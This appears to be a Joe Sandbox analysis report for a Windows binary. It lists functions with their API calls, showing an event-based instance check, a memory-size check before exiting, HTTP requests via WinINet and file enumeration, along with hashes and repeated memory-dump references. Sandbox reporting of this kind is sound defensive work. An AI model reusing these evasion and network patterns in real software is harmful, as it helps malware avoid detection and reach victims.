Opcode Fuzzy Hash: be63bc06d316b12fb42190dc111a32c1a090af0ff7702a1a4a14a47deb2458d8
Instruction Fuzzy Hash: FD3112B5D10109ABCB14DBE8DC86BEEB7F8EB48304F2445A9E905A7241E7759A04CBA1

Function 00B46AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014E8A00,?,00B5110C,?,00000000,?,00B51110,?,00000000,00B50AEF), ref: 00B46ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B46AE8
CloseHandle.KERNEL32(00000000), ref: 00B46AF9
Sleep.KERNEL32(00001770), ref: 00B46B04
CloseHandle.KERNEL32(?,00000000,?,014E8A00,?,00B5110C,?,00000000,?,00B51110,?,00000000,00B50AEF), ref: 00B46B1A
ExitProcess.KERNEL32 ref: 00B46B22

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 2f00c782e942bb99ed36ede1999887a065bcf0120efd597436512ccdd4607d0b
Instruction ID: c04bc8811cf5070824bcc8e2f147521146079c605dce2b1942461eed955d6b9c
Opcode Fuzzy Hash: 2f00c782e942bb99ed36ede1999887a065bcf0120efd597436512ccdd4607d0b
Instruction Fuzzy Hash: 41F05E70940319ABE710ABA0DC4ABBD7BB4EB05701F104994F516E12C1DBB05780F6A7

Function 00B347B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B34839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00B34849

Strings

<, xrefs: 00B347C9

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 47f7dea91d9c7be036c60fc7b116a1493d4cb6895c875134f2f9e9bf55f7a180
Instruction ID: d36a53c8b8a38f84fd985f4e6559bbca9d83232f319ee6207d42de6a620e6e59
Opcode Fuzzy Hash: 47f7dea91d9c7be036c60fc7b116a1493d4cb6895c875134f2f9e9bf55f7a180
Instruction Fuzzy Hash: 34214FB1D00208ABDF14DFA5EC46ADD7B79FB44320F108625F915A72D0EB706A0ACF91

Function 00B451F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Part of subcall function 00B36280: InternetOpenA.WININET(00B50DFE,00000001,00000000,00000000,00000000), ref: 00B362E1
Part of subcall function 00B36280: StrCmpCA.SHLWAPI(?,014EE230), ref: 00B36303
Part of subcall function 00B36280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B36335
Part of subcall function 00B36280: HttpOpenRequestA.WININET(00000000,GET,?,014EDB80,00000000,00000000,00400100,00000000), ref: 00B36385
Part of subcall function 00B36280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B363BF
Part of subcall function 00B36280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B363D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B45228

Strings

ERROR, xrefs: 00B4521A
ERROR, xrefs: 00B45273

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: b106e73215b5bbc3e73b13b6886719fb97d37157c75c037ef1db9b3668c0bd11
Instruction ID: 1f6ce0cb34314c569d2be43606145f06f61a7bda7d001913fbcb4d87fc8d2e09
Opcode Fuzzy Hash: b106e73215b5bbc3e73b13b6886719fb97d37157c75c037ef1db9b3668c0bd11
Instruction Fuzzy Hash: 35113030940108ABEB14FF64DD92AED73B8EF50300F5045D8F80A5B192EF30AB05EA92

Function 00B31220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00B3123E
ExitProcess.KERNEL32 ref: 00B31294

Strings

@, xrefs: 00B31233

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: 8e6fb181b8cda8dee3436b26a4bd421539183df9795e02e63b929d950efe9f71
Instruction ID: 227220c71796e76522eba76ff3175e3413bf192fabccf28078a5887fd9e6ad93
Opcode Fuzzy Hash: 8e6fb181b8cda8dee3436b26a4bd421539183df9795e02e63b929d950efe9f71
Instruction Fuzzy Hash: E9011DB0D44308BAEB10EFE8CC49B9EBBBCEB54705F208488E705B62C0D77496458B99

Function 00B44F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B48E0B

lstrcat.KERNEL32(?,00000000), ref: 00B44F7A
lstrcat.KERNEL32(?,00B51070), ref: 00B44F97
lstrcat.KERNEL32(?,014E8890), ref: 00B44FAB
lstrcat.KERNEL32(?,00B51074), ref: 00B44FBD

Part of subcall function 00B44910: wsprintfA.USER32 ref: 00B4492C
Part of subcall function 00B44910: FindFirstFileA.KERNEL32(?,?), ref: 00B44943

Part of subcall function 00B44910: StrCmpCA.SHLWAPI(?,00B50FDC), ref: 00B44971
Part of subcall function 00B44910: StrCmpCA.SHLWAPI(?,00B50FE0), ref: 00B44987
Part of subcall function 00B44910: FindNextFileA.KERNEL32(000000FF,?), ref: 00B44B7D
Part of subcall function 00B44910: FindClose.KERNEL32(000000FF), ref: 00B44B92

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 85622fda8ae831b32cf51137e8fd0873cb7c94ee374b6528e93dc33d44b8db42
Instruction ID: f0650404aa6035708a5bab7509e09b6823b9fb3c60d281841d867cda9bb2cd31
Opcode Fuzzy Hash: 85622fda8ae831b32cf51137e8fd0873cb7c94ee374b6528e93dc33d44b8db42
Instruction Fuzzy Hash: 162186769003086BC754FBA4DC46FED33BCAB94301F0045D8B65DD2291EE749BC89BA2

Function 00B40740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,014E88D0), ref: 00B4079A
StrCmpCA.SHLWAPI(00000000,014E8980), ref: 00B40866
StrCmpCA.SHLWAPI(00000000,014E88F0), ref: 00B4099D

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 8e51cc464c3b2041f38cb8254b4228e9bdbf5e36729c133d69eb672f3c2b061c
Instruction ID: 5e7b7c8d86c08e78285fda7eae2004835d1e4ca224c2e9afe68b8b8642ded8ab
Opcode Fuzzy Hash: 8e51cc464c3b2041f38cb8254b4228e9bdbf5e36729c133d69eb672f3c2b061c
Instruction Fuzzy Hash: 40918975A102089FDB28EF68D991BED77F9FF94300F508558E8099F251DB309B05DB92

Function 00B40765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,014E88D0), ref: 00B4079A
StrCmpCA.SHLWAPI(00000000,014E8980), ref: 00B40866
StrCmpCA.SHLWAPI(00000000,014E88F0), ref: 00B4099D

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: e53a1bcffd6d7c00a2be19dc7fb6f6bca4dee3dc128068bed26d81d143056e53
Instruction ID: f2660349d595b058a06a4180fc9db23442712b543c7e750fbb29c0679efb2bc6
Opcode Fuzzy Hash: e53a1bcffd6d7c00a2be19dc7fb6f6bca4dee3dc128068bed26d81d143056e53
Instruction Fuzzy Hash: AE818675A102089FDB28EF68D991AEDB7F6FF94300F508558E8099F251DB30AB05DB92

Function 00B470D0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

memset.MSVCRT ref: 00B4716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00B4718C

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
